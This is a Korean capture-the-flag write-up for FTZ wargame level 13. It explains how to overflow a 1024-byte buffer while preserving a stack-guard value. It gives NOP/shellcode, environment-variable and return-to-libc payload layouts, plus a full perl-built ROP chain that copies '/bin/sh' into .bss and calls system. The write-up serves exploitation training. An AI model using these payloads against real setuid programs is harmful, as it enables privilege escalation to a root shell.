FTZ WriteUp

Level13

   이번 단계는 기본적인 BOF문제에 스택가드가 있다

 

스택가드란 우리가 레벨12에서와 같은 방법으로 버퍼오버플로우 시켜서 리턴주소를 변조하게 되면 당연히 스택가드 영역도 함께 다른 값으로 변조될 수밖에 없다 그러므로 스택가드에 저장돼있는 값이 바뀌었다는 것은 버퍼 오버플로우 공격이 일어났다는 것을 의미 하고 스택가드의 변경이 확인되면 프로세스 실행을 차단해서 공격을 방어할 수 있다

 

그러므로 우리는 스택가드의 영역을 건들이지 않고 공격을 해야한다

 

지금 우리가 푸는 문제는 아주 쉽지만 소스 없이 프로그램만으로 알아내기란 무척 어렵다는 것을 알아두자

 

자 그럼 이제 문제를 풀어보자

 

우선 스택을 살펴보자

 

 

Buf 1024, I 4 바이트 소스에는 1028바이트가 사용됐다 그리고 스택 프레임을 보면 0x418, 1048바이트가 할당 됐다, , 더미가 있다는 뜻이다

 

 

우선 ebp-12지점에 0x1234567을 넣는다 변수 I 의 부분이다

그리고 아래에 ebp-1048부분을 보면 ebp-1048의 주소값을 eax에다 넣고 그것을 푸시한담에 strcpy함수를 실행한다 배열 buf의 부분이다 그럼 이걸 토대로 스택을 구성해보자

 

대충 이런 구조가 되겠다

 

자 그럼 이제 스택가드인 변수i의 값을 유지하고 BOF공격을 성공시켜보자

페이로드는 다음과 같다

기본적인 BOF방식 : NOP(500)+shellcode(25)+NOP(511)+0x1234567(4)+NOP(12)+RET(4)

환경변수를 이용한 BOF : NOP(1036)+0x1234567(4)+NOP(12)+RET(4)

RTL : NOP(1036)+0x1234567(4)+NOP(12)+system(4)+exit(4)+/bin/sh(4)

 

공격해보자

 

 

 

 

이로써 level13도 클리어했다

 

--------------------------------------------------------------------------------------------------------------15.11.19 이번 단계에도 pop pop ret이 존재하여 rop시연을 할 생각이다.

 

./attackme $(perl -e 'print "\x90"x1036, "\x67\x45\x23\x01", "\x90"x12, ……

strcpy@plt : 0x8048390

bss : 0x80496f8

ppr : 0x804853d

" / " : 0x80480f4

" b " : 0x80480f7

" i " : 0x80480f6

" n " : 0x80480fe

" / " : 0x80480f4

" s " : 0x8048102

" h " : 0x80483b0

"\0 " : 0x8049624

./attackme $(perl -e 'print "\x90"x1036, "\x67\x45\x23\x01", "\x90"x12,

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xf8\x96\x04\x08", "\xf4\x80\x04\x08",

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xf9\x96\x04\x08", "\xf7\x80\x04\x08",

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xfa\x96\x04\x08", "\xf6\x80\x04\x08",

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xfb\x96\x04\x08", "\xfe\x80\x04\x08",

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xfc\x96\x04\x08", "\xf4\x80\x04\x08",

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xfd\x96\x04\x08", "\x02\x81\x04\x08",

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xfe\x96\x04\x08", "\xb0\x83\x04\x08",

"\x90\x83\x04\x08", "\x3d\x85\x04\x08", "\xff\x96\x04\x08", "\x24\x96\x04\x08",

"\xc0\xf2\x03\x42", "\xb0\x9b\x02\x42", "\xf8\x96\x04\x08"')

 

Phantom@TeamH4C

댓글

댓글 본문